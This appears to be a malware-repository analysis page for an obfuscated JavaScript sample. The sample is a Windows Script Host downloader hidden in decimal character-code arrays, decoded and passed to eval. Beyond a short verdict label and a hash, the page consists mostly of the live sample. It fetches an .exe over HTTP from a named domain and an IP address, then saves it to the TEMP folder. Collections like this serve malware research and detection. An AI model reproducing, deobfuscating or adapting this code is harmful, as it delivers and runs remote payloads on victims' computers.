Suspicious 80% javascript-malware-collection Download

20151209_37dd7cecf37379f816c75983c7d25cd5.js

Obfuscated downloader executes remote code

parseInt toString radix remapObfuscated increment/decrement via arithmetic
SHA-256ff89db236f930b1c8f0f76befaac76ccd6bdcd565ec06633b9d47fc3b48d67e2

Evidence

Obfuscated increment/decrement via arithmetic lines 2–12
2:1773… 25]='}';SGYYo[126]='~';SGYYo[127]='';
3function BbRLe(wbqueRuZjKf,OQTndGxfoslPR,ZHMWUOeL){fLOx=parseInt(wbqueRuZjKf,OQTndGxfoslPR);swaqX=fLOx.toString(ZHMWUOeL);return swaqX;}function VxSOGnWXptGtTyR(RFtAKzapzhUWVLnZJ){eval(RFtAKzapzhUWVLnZJ)}
4function znsoiOBmEOlVxXevXvgfboabIstVWozfDwqbSxmxNbrrpPCnmOjldJ(gBAFjYDViYtxA,GbRJKhbxdfuDbf){ return SGYYo[BbRLe(gBAFjYDViYtxA[GbRJKhbxdfuDbf],(-424+524)/10,(8752+508)/926)];}
5function Xqxzcbc(EGdjwTogPSTwWrmkLUXsDogJUBVeiGodxYuP) {return !isNaN(parseFloat(EGdjwTogPSTwWrmkLUXsDogJUBVeiGodxYuP)) && isFinite(EGdjwTogPSTwWrmkLUXsDogJUBVeiGodxYuP);}
6function qqsLrfVULBy(cFoXsiki,hVCaJm){return cFoXsiki.split(hVCaJm)}
7var J=["13","10","13","10","118","97","114","32","111","32","61","32","34","115","111","102","116","101","120","116","114","97","105","110","54","52","46","99","111","109","47","56","54","46","101","120","101","63","32","52","54","46","49","53","49","46","53","50","46","49","57","55","47","56","54","46","101","120","101","63","32","63","32","63","34","46","115","112","108","105","116","40","34","32","34","41","59","13","10","118","97","114","32","111","116","105","32","61","40","40","49","47","42","52","117","112","84","55","52","50","54","54","55","53","57","54","110","57","48","50","49","57","54","117","77","51","53","52","49","57","51","101","79","105","90","42","47","41","63","34","87","83","99","114","105","34","58","34","34","41","43","34","112","116","46","83","104","101","108","108","34","59","13","10","118","97","114","32","81","118","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","111","116","105","41","59","13","10","118","97","114","32","68","104","32","61","32","34","37","84","69","77","80","37","92","92","34","59","13","10","118","97","114","32","70","85","84","32","61","32","81","118","46","69","120","112","97","110","100","69","110","118","105","114","111","110","109","101","110","116","83","116","114","105","110","103","115","40","68","104","41","59","13","10","118","97","114","32","69","120","112","32","61","32","34","50","46","88","77","76","72","34","59","13","10","118","97","114","32","72","80","88","32","61","32","69","120","112","32","43","32","34","84","84","80","34","59","13","10","118","97","114","32","67","105","32","61","32","116","114","117","101","32","32","44","32","84","107","82","82","32","61","32","34","65","68","79","68","34","59","13","10","118","97","114","32","107","102","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","34","77","83","34","43","34","88","77","76","34 …
8var N=["48","55","55","54","59","13","10","102","111","114","32","40","118","97","114","32","79","61","110","113","75","59","32","79","60","111","46","108","101","110","103","116","104","59","32","79","43","43","41","32","32","123","13","10","32","32","118","97","114","32","121","103","32","61","32","48","59","13","10","32","32","116","114","121","32","32","123","13","10","9","112","111","105","32","61","32","34","71","69","84","34","59","9","32","13","10","32","32","32","32","107","102","46","111","112","101","110","40","112","111","105","44","34","104","116","116","112","58","47","47","34","43","111","91","79","93","43","69","44","32","102","97","108","115","101","41","59","32","107","102","46","115","101","110","100","40","41","59","32","105","102","32","40","107","102","46","115","116","97","116","117","115","32","61","61","32","49","48","57","49","45","56","57","49","41","32","32","123","13","10","32","32","32","32","32","32","74","97","77","46","111","112","101","110","40","41","59","32","74","97","77","46","116","121","112","101","32","61","32","49","59","32","74","97","77","46","119","114","105","116","101","40","107","102","46","114","101","115","112","111","110","115","101","66","111","100","121","41","59","32","105","102","32","40","74","97","77","46","115","105","122","101","32","62","32","49","57","55","50","57","45","54","54","51","41","32","32","123","13","10","32","32","32","32","32","32","32","32","121","103","32","61","32","49","59","32","74","97","77","46","112","111","115","105","116","105","111","110","32","61","32","48","59","32","74","97","77","46","115","97","118","101","84","111","70","105","108","101","47","42","69","89","55","113","51","52","57","119","73","119","42","47","40","70","85","84","47","42","108","97","56","87","54","48","72","100","69","67","42","47","43","122","85","77","113","72","89","111","43","34","46","101","120","101","34","44","52","45","50","41","59","32","116","114","121","32","32","123","13","10","32","32","32","32", …
9var rJEKi=[J,N];
10var HkGOUGgar=[];
11function mPhulBMCauZFwYuUI(rJEKi){ramePSlpoep= '';for(terJgWAKlZe=(-696+696)/796; terJgWAKlZe < (998+684)/841; terJgWAKlZe++) {HkGOUGgar[terJgWAKlZe]=(-724+724)/889; while(true) { if(HkGOUGgar[terJgWAKlZe] > rJEKi[terJgWAKlZe].length-(102+601)/703) { break; } if (Xqxzcbc(BbRLe(rJEKi[terJgWAKlZe][HkGOUGgar[terJgWAKlZe]],(3878+792)/467,(6667+583)/725))) {ramePSlpoep += znsoiOBmEOlVxXevXvgfboabIstVWozfDwqbSxmxNbrrpPCnmOjldJ([rJEKi[terJgWAKlZe][HkGOUGgar[terJgWAKlZe]]], (-210+210)/640);} HkGOUGgar[terJgWAKlZe]++;}} return ramePSlpoep}
12VxSOGnWXptGtTyR(mPhulBMCauZFwYuUI(rJEKi));

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.